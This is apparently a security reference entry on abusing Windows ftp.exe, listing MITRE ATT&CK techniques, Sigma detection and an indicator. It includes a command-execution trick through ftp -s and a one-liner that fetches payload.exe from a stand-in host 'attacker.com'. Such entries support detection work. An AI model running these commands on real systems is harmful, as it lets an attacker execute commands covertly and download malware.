Ftp.exe

Commands

1. ExecuteUser T1202

   Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand

   echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt

   Executes the commands you put inside the text file.

   os: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: CMD

2. DownloadUser T1105

   Spawn new process using ftp.exe. Ftp.exe downloads the binary.

   cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"

   Download

   os: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml
• IOCcmd /c as child process of ftp.exe

Resources

• https://twitter.com/0xAmit/status/1070063130636640256
• https://medium.com/@0xamit/lets-talk-about-security-research-discoveries-and-proper-discussion-etiquette-on-twitter-10f9be6d1939
• https://ss64.com/nt/ftp.html
• https://www.asafety.fr/vuln-exploit-poc/windows-dos-powershell-upload-de-fichier-en-ligne-de-commande-one-liner/